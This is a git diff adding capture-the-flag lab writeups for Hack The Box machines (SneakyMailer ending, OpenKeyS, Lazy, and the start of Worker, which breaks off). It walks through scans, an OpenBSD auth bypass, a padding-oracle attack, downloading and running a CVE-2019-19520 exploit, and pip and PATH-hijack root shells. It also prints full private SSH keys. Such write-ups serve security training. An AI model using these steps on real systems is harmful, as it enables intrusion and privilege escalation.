low@sneakymailer:~$ TF=$(mktemp -d) + low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py + low@sneakymailer:~$ sudo /usr/bin/pip3 install $TF + sudo: unable to resolve host sneakymailer: Temporary failure in name resolution + Processing /tmp/tmp.D7Gn5vYpTY + # id + uid=0(root) gid=0(root) groups=0(root) + # cat /root/root.txt + d2XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get to the root user and get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/58_graph.png) + diff --git a/Medium/59.md b/Medium/59.md new file mode 100644 index 0000000..69f6fd4 --- /dev/null +++ b/Medium/59.md @@ -0,0 +1,370 @@ +# OpenKeyS Writeup + +![](img/59.png) + +## Introduction : + +OpenKeyS is an Easy (but marked as Medium) OpenBSD box released back in July 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/openkeys] + → nmap -vvv -p- 10.10.10.199 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 22/tcp on 10.10.10.199 + Discovered open port 80/tcp on 10.10.10.199 + + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/openkeys] + → nmap -sCV -p22,80 10.10.10.199 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-26 21:12 CEST + Nmap scan report for 10.10.10.199 + Host is up (0.47s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 8.1 (protocol 2.0) + | ssh-hostkey: + | 3072 5e:ff:81:e9:1f:9b:f8:9a:25:df:5d:82:1a:dd:7a:81 (RSA) + | 256 64:7a:5a:52:85:c5:6d:d5:4a:6b:a7:1a:9a:8a:b9:bb (ECDSA) + |_ 256 12:35:4b:6e:23:09:dc:ea:00:8c:72:20:c7:50:32:f3 (ED25519) + 80/tcp open http OpenBSD httpd + |_http-title: Site doesn't have a title (text/html). + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 which is a simple login page: + +![](prg/59_002.png) + +Let's enumerate the webservice using gobuster: + + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/openkeys] + → gobuster dir -q -t 50 -u http://10.10.10.199 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -x php,txt + /includes (Status: 301) [Size: 443] [--> http://10.10.10.199/includes/] + /js (Status: 301) [Size: 443] [--> http://10.10.10.199/js/] + /css (Status: 301) [Size: 443] [--> http://10.10.10.199/css/] + /images (Status: 301) [Size: 443] [--> http://10.10.10.199/images/] + /index.php (Status: 200) [Size: 4837] + /fonts (Status: 301) [Size: 443] [--> http://10.10.10.199/fonts/] + /. (Status: 200) [Size: 96] + + + +We found the /includes directory so let's check it from our web browser: + +![](prg/59_001.png) + +Here we see that we have access to the **auth.php.swp** file: + + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/openkeys] + → wget http://10.10.10.199/includes/auth.php.swp + --2021-06-26 21:20:14-- http://10.10.10.199/includes/auth.php.swp + Connecting to 10.10.10.199:80... connected. + HTTP request sent, awaiting response... 200 OK + Length: unspecified [text/html] + Saving to: ‘auth.php.swp’ + + auth.php.swp [ <=> ] 12.00K 12.8KB/s in 0.9s + + 2021-06-26 21:20:16 (12.8 KB/s) - ‘auth.php.swp’ saved [12288] + + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/openkeys] + → file auth.php.swp + auth.php.swp: Vim swap file, version 8.1, pid 49850, user jennifer, host openkeys.htb, file /var/www/htdocs/includes/auth.php + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/openkeys] + → cat auth.php.swp + 3210#! Utp=adniferopenkeys.htb/var/www/htdocs/includes/auth.php + @sWB@? mgC + + + + + + + v + p + n + m + U + S + 0 + + + + J + + + + + + + + + + + + + + + ?>} session_start(); session_destroy(); session_unset();{function close_session()} $_SESSION["username"] = $_REQUEST['username']; $_SESSION["user_agent"] = $_SERVER['HTTP_USER_AGENT']; $_SESSION["remote_addr"] = $_SERVER['REMOTE_ADDR']; $_SESSION["last_activity"] = $_SERVER['REQUEST_TIME']; $_SESSION["login_time"] = $_SERVER['REQUEST_TIME']; $_SESSION["logged_in"] = True;{function init_session()} } return False; { else } } return True; $_SESSION['last_activity'] = $time; // Session is active, update last activity time and return True { else } return False; close_session(); { ($time - $_SESSION['last_activity']) > $session_timeout) if (isset($_SESSION['last_activity']) && $time = $_SERVER['REQUEST_TIME']; // Has the session expired? { if(isset($_SESSION["logged_in"])) // Is the user logged in? session_start(); // Start the session $session_timeout = 300; // Session timeout in seconds{function is_active_session()} return $retcode; system($cmd, $retcode); $cmd = escapeshellcmd("../auth_helpers/check_auth " . $username . " " . $password);{function authenticate($username, $password)<****?php% + +So once we download the .swp file we know that this was used by the user jennifer on openkeys.htb (we add it to our hosts file) and that there was a link to **../auth_helpers/check_auth** so we download it after adding openkeys.htb to our hosts file: + + + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/openkeys] + → sudo -i + [sudo] password for nothing: + ┌──(root💀nowhere)-[~] + └─# echo '10.10.10.199 openkeys.htb' >> /etc/hosts + + ┌──(root💀nowhere)-[~] + └─# ping -c1 openkeys.htb + PING openkeys.htb (10.10.10.199) 56(84) bytes of data. + 64 bytes from openkeys.htb (10.10.10.199): icmp_seq=1 ttl=254 time=470 ms + + --- openkeys.htb ping statistics --- + 1 packets transmitted, 1 received, 0% packet loss, time 0ms + rtt min/avg/max/mdev = 469.674/469.674/469.674/0.000 ms + + ┌──(root💀nowhere)-[~] + └─# exit + + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/openkeys] + → wget http://10.10.10.199/auth_helpers/check_auth + --2021-06-26 21:23:30-- http://10.10.10.199/auth_helpers/check_auth + Connecting to 10.10.10.199:80... connected. + HTTP request sent, awaiting response... 200 OK + Length: 12288 (12K) [application/octet-stream] + Saving to: ‘check_auth’ + + check_auth 100%[======================================================================================================================================================>] 12.00K 12.8KB/s in 0.9s + + 2021-06-26 21:23:32 (12.8 KB/s) - ‘check_auth’ saved [12288/12288] + + + +We check what kind of file check_auth is: + + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/openkeys] + → file check_auth + check_auth: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /usr/libexec/ld.so, for OpenBSD, not stripped + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/openkeys] + → rabin2 -I check_auth + arch x86 + baddr 0x0 + binsz 10495 + bintype elf + bits 64 + canary false + retguard false + class ELF64 + compiler Linker: LLD 8.0.1 + crypto false + endian little + havecode true + intrp /usr/libexec/ld.so + laddr 0x0 + lang c + linenum true + lsyms true + machine AMD x86-64 architecture + maxopsz 16 + minopsz 1 + nx true + os openbsd + pcalign 0 + pic true + relocs true + relro partial + rpath NONE + sanitiz false + static false + stripped false + subsys openbsd + va true + + +So here we see a hint towards **/usr/libexec/ld.so** and after a bit of googling we would stumble upon an authentication bypass using **-schallenge** as the password inside the cookie, so intercept the POST request to the index.php login page we found earlier using burpsuite: + +![](prg/59_003.png) + +Obviously if we send it as it is we get an authentication denied error: + +![](prg/59_004.png) + +So let's try the authentication bypass by going through the PHP cookie we mentionned earlier: + +![](prg/59_005.png) + +We follow the redirection: + +![](prg/59_006.png) + +And we get a SSH key! Now let's save it locally and use it to login as jennifer: + + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/openkeys] + → cat pkey + -----BEGIN OPENSSH PRIVATE KEY----- + b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn + NhAAAAAwEAAQAAAYEAo4LwXsnKH6jzcmIKSlePCo/2YWklHnGn50YeINLm7LqVMDJJnbNx + OI6lTsb9qpn0zhehBS2RCx/i6YNWpmBBPCy6s2CxsYSiRd3S7NftPNKanTTQFKfOpEn7rG + nag+n7Ke+iZ1U/FEw4yNwHrrEI2pklGagQjnZgZUADzxVArjN5RsAPYE50mpVB7JO8E7DR + PWCfMNZYd7uIFBVRrQKgM/n087fUyEyFZGibq8BRLNNwUYidkJOmgKSFoSOa9+6B0ou5oU + qjP7fp0kpsJ/XM1gsDR/75lxegO22PPfz15ZC04APKFlLJo1ZEtozcmBDxdODJ3iTXj8Js + kLV+lnJAMInjK3TOoj9F4cZ5WTk29v/c7aExv9zQYZ+sHdoZtLy27JobZJli/9veIp8hBG + 717QzQxMmKpvnlc76HLigzqmNoq4UxSZlhYRclBUs3l5CU9pdsCb3U1tVSFZPNvQgNO2JD + S7O6sUJFu6mXiolTmt9eF+8SvEdZDHXvAqqvXqBRAAAFmKm8m76pvJu+AAAAB3NzaC1yc2 + EAAAGBAKOC8F7Jyh+o83JiCkpXjwqP9mFpJR5xp+dGHiDS5uy6lTAySZ2zcTiOpU7G/aqZ + 9M4XoQUtkQsf4umDVqZgQTwsurNgsbGEokXd0uzX7TzSmp000BSnzqRJ+6xp2oPp+ynvom + dVPxRMOMjcB66xCNqZJRmoEI52YGVAA88VQK4zeUbAD2BOdJqVQeyTvBOw0T1gnzDWWHe7 + iBQVUa0CoDP59PO31MhMhWRom6vAUSzTcFGInZCTpoCkhaEjmvfugdKLuaFKoz+36dJKbC + f1zNYLA0f++ZcXoDttjz389eWQtOADyhZSyaNWRLaM3JgQ8XTgyd4k14/CbJC1fpZyQDCJ + 4yt0zqI/ReHGeVk5Nvb/3O2hMb/c0GGfrB3aGbS8tuyaG2SZYv/b3iKfIQRu9e0M0MTJiq + b55XO+hy4oM6pjaKuFMUmZYWEXJQVLN5eQlPaXbAm91NbVUhWTzb0IDTtiQ0uzurFCRbup + l4qJU5rfXhfvErxHWQx17wKqr16gUQAAAAMBAAEAAAGBAJjT/uUpyIDVAk5L8oBP3IOr0U + Z051vQMXZKJEjbtzlWn7C/n+0FVnLdaQb7mQcHBThH/5l+YI48THOj7a5uUyryR8L3Qr7A + UIfq8IWswLHTyu3a+g4EVnFaMSCSg8o+PSKSN4JLvDy1jXG3rnqKP9NJxtJ3MpplbG3Wan + j4zU7FD7qgMv759aSykz6TSvxAjSHIGKKmBWRL5MGYt5F03dYW7+uITBq24wrZd38NrxGt + wtKCVXtXdg3ROJFHXUYVJsX09Yv5tH5dxs93Re0HoDSLZuQyIc5iDHnR4CT+0QEX14u3EL + TxaoqT6GBtynwP7Z79s9G5VAF46deQW6jEtc6akIbcyEzU9T3YjrZ2rAaECkJo4+ppjiJp + NmDe8LSyaXKDIvC8lb3b5oixFZAvkGIvnIHhgRGv/+pHTqo9dDDd+utlIzGPBXsTRYG2Vz + j7Zl0cYleUzPXdsf5deSpoXY7axwlyEkAXvavFVjU1UgZ8uIqu8W1BiODbcOK8jMgDkQAA + AMB0rxI03D/q8PzTgKml88XoxhqokLqIgevkfL/IK4z8728r+3jLqfbR9mE3Vr4tPjfgOq + eaCUkHTiEo6Z3TnkpbTVmhQbCExRdOvxPfPYyvI7r5wxkTEgVXJTuaoUJtJYJJH2n6bgB3 + WIQfNilqAesxeiM4MOmKEQcHiGNHbbVW+ehuSdfDmZZb0qQkPZK3KH2ioOaXCNA0h+FC+g + dhqTJhv2vl1X/Jy/assyr80KFC9Eo1DTah2TLnJZJpuJjENS4AAADBAM0xIVEJZWEdWGOg + G1vwKHWBI9iNSdxn1c+SHIuGNm6RTrrxuDljYWaV0VBn4cmpswBcJ2O+AOLKZvnMJlmWKy + Dlq6MFiEIyVKqjv0pDM3C2EaAA38szMKGC+Q0Mky6xvyMqDn6hqI2Y7UNFtCj1b/aLI8cB + rfBeN4sCM8c/gk+QWYIMAsSWjOyNIBjy+wPHjd1lDEpo2DqYfmE8MjpGOtMeJjP2pcyWF6 + CxcVbm6skasewcJa4Bhj/MrJJ+KjpIjQAAAMEAy/+8Z+EM0lHgraAXbmmyUYDV3uaCT6ku + Alz0bhIR2/CSkWLHF46Y1FkYCxlJWgnn6Vw43M0yqn2qIxuZZ32dw1kCwW4UNphyAQT1t5 + eXBJSsuum8VUW5oOVVaZb1clU/0y5nrjbbqlPfo5EVWu/oE3gBmSPfbMKuh9nwsKJ2fi0P + bp1ZxZvcghw2DwmKpxc+wWvIUQp8NEe6H334hC0EAXalOgmJwLXNPZ+nV6pri4qLEM6mcT + qtQ5OEFcmVIA/VAAAAG2plbm5pZmVyQG9wZW5rZXlzLmh0Yi5sb2NhbAECAwQFBgc= + -----END OPENSSH PRIVATE KEY----- + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/openkeys] + → chmod 600 pkey + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/openkeys] + → ssh -i pkey jennifer@openkeys.htb + The authenticity of host 'openkeys.htb (10.10.10.199)' can't be established. + ECDSA key fingerprint is SHA256:gzhq4BokiWZ1NNWrblA8w3hLOhlhoRy+NFyi2smBZOA. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added 'openkeys.htb,10.10.10.199' (ECDSA) to the list of known hosts. + Last login: Wed Jun 24 09:31:16 2020 from 10.10.14.2 + OpenBSD 6.6 (GENERIC) #353: Sat Oct 12 10:45:56 MDT 2019 + + Welcome to OpenBSD: The proactively secure Unix-like operating system. + + Please use the sendbug(1) utility to report bugs in the system. + Before reporting a bug, please try to reproduce it with the latest + version of the code. With bug reports, please try to ensure that + enough information to reproduce the problem is enclosed, and if a + known fix for it exists, include that as well. + + openkeys$ id + uid=1001(jennifer) gid=1001(jennifer) groups=1001(jennifer), 0(wheel) + openkeys$ ls + user.txt + openkeys$ cat user.txt + 36XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to login via SSH as the user jennifer and get the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc this box let's first enumerate it using linpeas.sh: + + + [terminal 1] + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/openkeys] + → cp /home/nothing/HTB/Admirer/linpeas.sh . + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/openkeys] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [terminal 2] + openkeys$ curl http://10.10.14.11:9090/linpeas.sh > /tmp/peas.sh + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed + 100 333k 100 333k 0 0 66009 0 0:00:05 0:00:05 --:--:-- 80533 + openkeys$ chmod +x /tmp/peas.sh + openkeys$ /tmp/peas.sh + + + +` ![](prg/59_007.png) + +Let linpeas.sh run a bit and scrolling through the output we stumble upon **xlock**. So that's the hint to lookup for xlock privesc vulnerabilities, and we stumble upon [CVE-2019-19520](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot). So we upload the privesc script onto the box: + + + [terminal 1] + [ 10.10.14.11/23 ] [ /dev/pts/23 ] [~/HTB/openkeys] + → wget https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot -O exploit.sh + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/openkeys] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [terminal 2] + openkeys$ curl http://10.10.14.11:9090/exploit.sh > exploit.sh + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed + 100 4087 100 4087 0 0 4315 0 --:--:-- --:--:-- --:--:-- 4311 + openkeys$ file exploit.sh + exploit.sh: Bourne shell script text executable + openkeys$ chmod +x exploit.sh + openkeys$ ./exploit.sh + + openbsd-authroot (CVE-2019-19520 / CVE-2019-19522) + [*] checking system ... + [*] system supports S/Key authentication + [*] id: uid=1001(jennifer) gid=1001(jennifer) groups=1001(jennifer), 0(wheel) + [*] compiling ... + [*] running Xvfb ... + [*] testing for CVE-2019-19520 ... + _XSERVTransmkdir: ERROR: euid != 0,directory /tmp/.X11-unix will not be created. + [+] success! we have auth group permissions + + WARNING: THIS EXPLOIT WILL DELETE KEYS. YOU HAVE 5 SECONDS TO CANCEL (CTRL+C). + + [*] trying CVE-2019-19522 (S/Key) ... + Your password is: EGG LARD GROW HOG DRAG LAIN + otp-md5 99 obsd91335 + S/Key Password: EGG LARD GROW HOG DRAG LAIN + + openkeys# id + uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest) + + openkeys# cat /root/root.txt + f3XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to privesc to the root user and print the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/59_graph.png) + diff --git a/Medium/6.md b/Medium/6.md new file mode 100644 index 0000000..0013684 --- /dev/null +++ b/Medium/6.md @@ -0,0 +1,224 @@ +# Lazy Writeup + +![](img/6.png) + +## Introduction : + +Lazy is a medium Linux box released back in May 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Lazy] + → nmap -F 10.10.10.18 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-22 12:58 GMT + Nmap scan report for 10.10.10.18 + Host is up (0.099s latency). + Not shown: 98 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + + Nmap done: 1 IP address (1 host up) scanned in 1.70 seconds + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Lazy] + → nmap -sCV -p80,22 10.10.10.18 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-22 12:58 GMT + Nmap scan report for 10.10.10.18 + Host is up (0.099s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 1024 e1:92:1b:48:f8:9b:63:96:d4:e5:7a:40:5f:a4:c8:33 (DSA) + | 2048 af:a0:0f:26:cd:1a:b5:1f:a7:ec:40:94:ef:3c:81:5f (RSA) + | 256 11:a3:2f:25:73:67:af:70:18:56:fe:a2:e3:54:81:e8 (ECDSA) + |_ 256 96:81:9c:f4:b7:bc:1a:73:05:ea:ba:41:35:a4:66:b7 (ED25519) + 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) + |_http-server-header: Apache/2.4.7 (Ubuntu) + |_http-title: CompanyDev + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 11.10 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 running apache 2.4.7, so investigating it we are greeted with a webservice allowing us to register an account, so heading over there, we register an account and intercept our request with burpsuite : + +![](prg/6_001.png) + +Here we can change the cookie before sending it, which gets us an invalid padding error. Therefore we can use a tool named "padbuster". + +![](prg/6_002.png) + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Lazy] + → padbuster http://10.10.10.18/login.php uYXI8s7whAAa3OnK91xqNw%3D%3D 8 -cookies auth=uYXI8s7whAAa3OnK91xqNw%3D%3D -encoding 0 + + +-------------------------------------------+ + | PadBuster - v0.3.3 | + | Brian Holyfield - Gotham Digital Science | + | labs@gdssecurity.com | + +-------------------------------------------+ + + INFO: The original request returned the following + [+] Status: 200 + [+] Location: N/A + [+] Content Length: 1486 + + INFO: Starting PadBuster Decrypt Mode + *** Starting Block 1 of 1 *** + + INFO: No error string was provided...starting response analysis + + *** Response Analysis Complete *** + + The following response signatures were returned: + + ------------------------------------------------------- + ID# Freq Status Length Location + ------------------------------------------------------- + 1 1 200 1564 N/A + 2 ** 255 200 15 N/A + ------------------------------------------------------- + + Enter an ID that matches the error condition + NOTE: The ID# marked with ** is recommended : x + + Enter an ID that matches the error condition + NOTE: The ID# marked with ** is recommended : 2 + + Continuing test with selection 2 + + [+] Success: (253/256) [Byte 8] + [+] Success: (124/256) [Byte 7] + [+] Success: (117/256) [Byte 6] + [+] Success: (9/256) [Byte 5] + [+] Success: (123/256) [Byte 4] + [+] Success: (85/256) [Byte 3] + [+] Success: (15/256) [Byte 2] + [+] Success: (60/256) [Byte 1] + + Block 1 Results: + [+] Cipher Text (HEX): 1adce9caf75c6a37 + [+] Intermediate Bytes (HEX): ccf6ad80f3888602 + [+] Plain Text: user=x + + ------------------------------------------------------- + ** Finished *** + + [+] Decrypted value (ASCII): user=x + + [+] Decrypted value (HEX): 757365723D780202 + + [+] Decrypted value (Base64): dXNlcj14AgI= + + ------------------------------------------------------- + + +once that's done we pass the value to burpsuite granting us the the admin authentification, giving us access to a webpage containing a hyperlink to a ssh private key: + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Lazy] + → curl -sk http://10.10.10.18/mysshkeywithnamemitsos + -----BEGIN RSA PRIVATE KEY----- + MIIEpAIBAAKCAQEAqIkk7+JFhRPDbqA0D1ZB4HxS7Nn6GuEruDvTMS1EBZrUMa9r + upUZr2C4LVqd6+gm4WBDJj/CzAi+g9KxVGNAoT+Exqj0Z2a8Xpz7z42PmvK0Bgkk + 3mwB6xmZBr968w9pznUio1GEf9i134x9g190yNa8XXdQ195cX6ysv1tPt/DXaYVq + OOheHpZZNZLTwh+aotEX34DnZLv97sdXZQ7km9qXMf7bqAuMop/ozavqz6ylzUHV + YKFPW3R7UwbEbkH+3GPf9IGOZSx710jTd1JV71t4avC5NNqHxUhZilni39jm/EXi + o1AC4ZKC1FqA/4YjQs4HtKv1AxwAFu7IYUeQ6QIDAQABAoIBAA79a7ieUnqcoGRF + gXvfuypBRIrmdFVRs7bGM2mLUiKBe+ATbyyAOHGd06PNDIC//D1Nd4t+XlARcwh8 + g+MylLwCz0dwHZTY0WZE5iy2tZAdiB+FTq8twhnsA+1SuJfHxixjxLnr9TH9z2db + sootwlBesRBLHXilwWeNDyxR7cw5TauRBeXIzwG+pW8nBQt62/4ph/jNYabWZtji + jzSgHJIpmTO6OVERffcwK5TW/J5bHAys97OJVEQ7wc3rOVJS4I/PDFcteQKf9Mcb + +JHc6E2V2NHk00DPZmPEeqH9ylXsWRsirmpbMIZ/HTbnxJXKZJ8408p6Z+n/d8t5 + gyoaRgECgYEA0oiSiVPb++auc5du9714TxLA5gpmaE9aaLNwEh4iLOS+Rtzp9jSp + b1auElzXPwACjKYpw709cNGV7bV8PPfBmtyNfHLeMTVf/E/jbRUO/000ZNznPnE7 + SztdWk4UWPQx0lcSiShYymc1C/hvcgluKhdAi5m53MiPaNlmtORZ1sECgYEAzO61 + apZQ0U629sx0OKn3YacY7bNQlXjl1bw5Lr0jkCIAGiquhUz2jpN7T+seTVPqHQbm + sClLuQ0vJEUAIcSUYOUbuqykdCbXSM3DqayNSiOSyk94Dzlh37Ah9xcCowKuBLnD + gl3dfVsRMNo0xppv4TUmq9//pe952MTf1z+7LCkCgYB2skMTo7DyC3OtfeI1UKBE + zIju6UwlYR/Syd/UhyKzdt+EKkbJ5ZTlTdRkS+2a+lF1pLUFQ2shcTh7RYffA7wm + qFQopsZ4reQI562MMYQ8EfYJK7ZAMSzB1J1kLYMxR7PTJ/4uUA4HRzrUHeQPQhvX + JTbhvfDY9kZMUc2jDN9NwQKBgQCI6VG6jAIiU/xYle9vi94CF6jH5WyI7+RdDwsE + 9sezm4OF983wsKJoTo+rrODpuI5IJjwopO46C1zbVl3oMXUP5wDHjl+wWeKqeQ2n + ZehfB7UiBEWppiSFVR7b/Tt9vGSWM6Uyi5NWFGk/wghQRw1H4EKdwWECcyNsdts0 + 6xcZQQKBgQCB1C4QH0t6a7h5aAo/aZwJ+9JUSqsKat0E7ijmz2trYjsZPahPUsnm + +H9wn3Pf5kAt072/4N2LNuDzJeVVYiZUsDwGFDLiCbYyBVXgqtaVdHCfXwhWh1EN + pXoEbtCvgueAQmWpXVxaEiugA1eezU+bMiUmer1Qb/l1U9sNcW9DmA== + -----END RSA PRIVATE KEY----- + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Lazy] + → curl -sk http://10.10.10.18/mysshkeywithnamemitsos > pkey + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Lazy] + → chmod 600 pkey + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Lazy] + → ssh -i pkey mitsos@10.10.10.18 + The authenticity of host '10.10.10.18 (10.10.10.18)' can't be established. + ECDSA key fingerprint is SHA256:OJ5DTyZUGZXEpX4BKFNTApa88gR/+w5vcNathKIPcWE. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.18' (ECDSA) to the list of known hosts. + Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686) + + * Documentation: https://help.ubuntu.com/ + + System information as of Sat Feb 22 14:47:44 EET 2020 + + System load: 0.0 Memory usage: 5% Processes: 193 + Usage of /: 7.6% of 18.58GB Swap usage: 0% Users logged in: 0 + + Graph this data and manage this system at: + https://landscape.canonical.com/ + + Last login: Thu Jan 18 10:29:40 2018 + mitsos@LazyClown:~$ cat /home/mitsos/user.txt + d5XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +and that's it ! we have been able to log in as the user mitsos (as the link suggested), and printed out the user flag. + +## **Part 3 : Getting Root Access** + +In order to privesc we first have to take a look at that backups file : + + + mitsos@LazyClown:~$ ls + backup peda user.txt + mitsos@LazyClown:~$ file backup + backup: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=33d6b5bec96c44e630f37ff41cc1c4a8b2813b6b, not stripped + mitsos@LazyClown:~$ strings backup | grep cat + cat /etc/shadow + + +upon closer inspection, we see that the backup binary calls the cat command in the tmp directory, so we just have to create a cat binary, containing /bin/sh and we should have a root shell + + + mitsos@LazyClown:~$ cd /tmp + mitsos@LazyClown:/tmp$ echo '#!/bin/sh' >> cat + mitsos@LazyClown:/tmp$ echo '/bin/sh' >> cat + mitsos@LazyClown:/tmp$ cd - + mitsos@LazyClown:~$ PATH=/tmp:/usr/sbin:/usr/bin:/bin + mitsos@LazyClown:~$ ./backup + # id + uid=1000(mitsos) gid=1000(mitsos) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare),1000(mitsos) + # cd /root + # ls + root.txt + # strings root.txt + 99XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +## **Conclusion** + +Here we can see the progress graph : + +![](img/6_graph.png) + diff --git a/Medium/60.md b/Medium/60.md new file mode 100644 index 0000000..e88a5ae --- /dev/null +++ b/Medium/60.md @@ -0,0 +1,835 @@ +# Worker Writeup + +![](img/60.png) + +## Introduction : + +Worker is a Medium Windows box released back in August 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] + → nmap -vvv -p- 10.10.10.203 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 80/tcp on 10.10.10.203 + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] + → nmap -sCV -p 80 10.10.10.203 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-27 12:27 CEST + Nmap scan report for 10.10.10.203 + Host is up (0.47s latency). + + PORT STATE SERVICE VERSION + 80/tcp open http Microsoft IIS httpd 10.0 + | http-methods: + |_ Potentially risky methods: TRACE + |_http-server-header: Microsoft-IIS/10.0 + |_http-title: IIS Windows Server + Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 19.16 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + +![](prg/60_001.png) + +As expected our nmap scan finds an IIS windows server http service on port 80. Now when you're on HTB and you just started a machine, some ports take more time to open up. and running the nmap scan once again reveals other ports: + + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] + → nmap -vvv -p- 10.10.10.203 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 80/tcp on 10.10.10.203 + Discovered open port 5985/tcp on 10.10.10.203 + Discovered open port 3690/tcp on 10.10.10.203 + + + +So we run nmap on those ports to see what they are about: + + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] + → nmap -sCV -p5985,3690 10.10.10.203 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-27 13:00 CEST + Nmap scan report for 10.10.10.203 + Host is up (0.47s latency). + + PORT STATE SERVICE VERSION + 3690/tcp open svnserve Subversion + 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) + |_http-server-header: Microsoft-HTTPAPI/2.0 + |_http-title: Not Found + Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 19.02 seconds + + + +Now we know that we seem to have a MS-HTTPAPI on port 5985, and on port 3690 we have a **snvserver** service, let's enumerate it with **svn** + + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] + → svn --help + usage: svn [options] [args] + 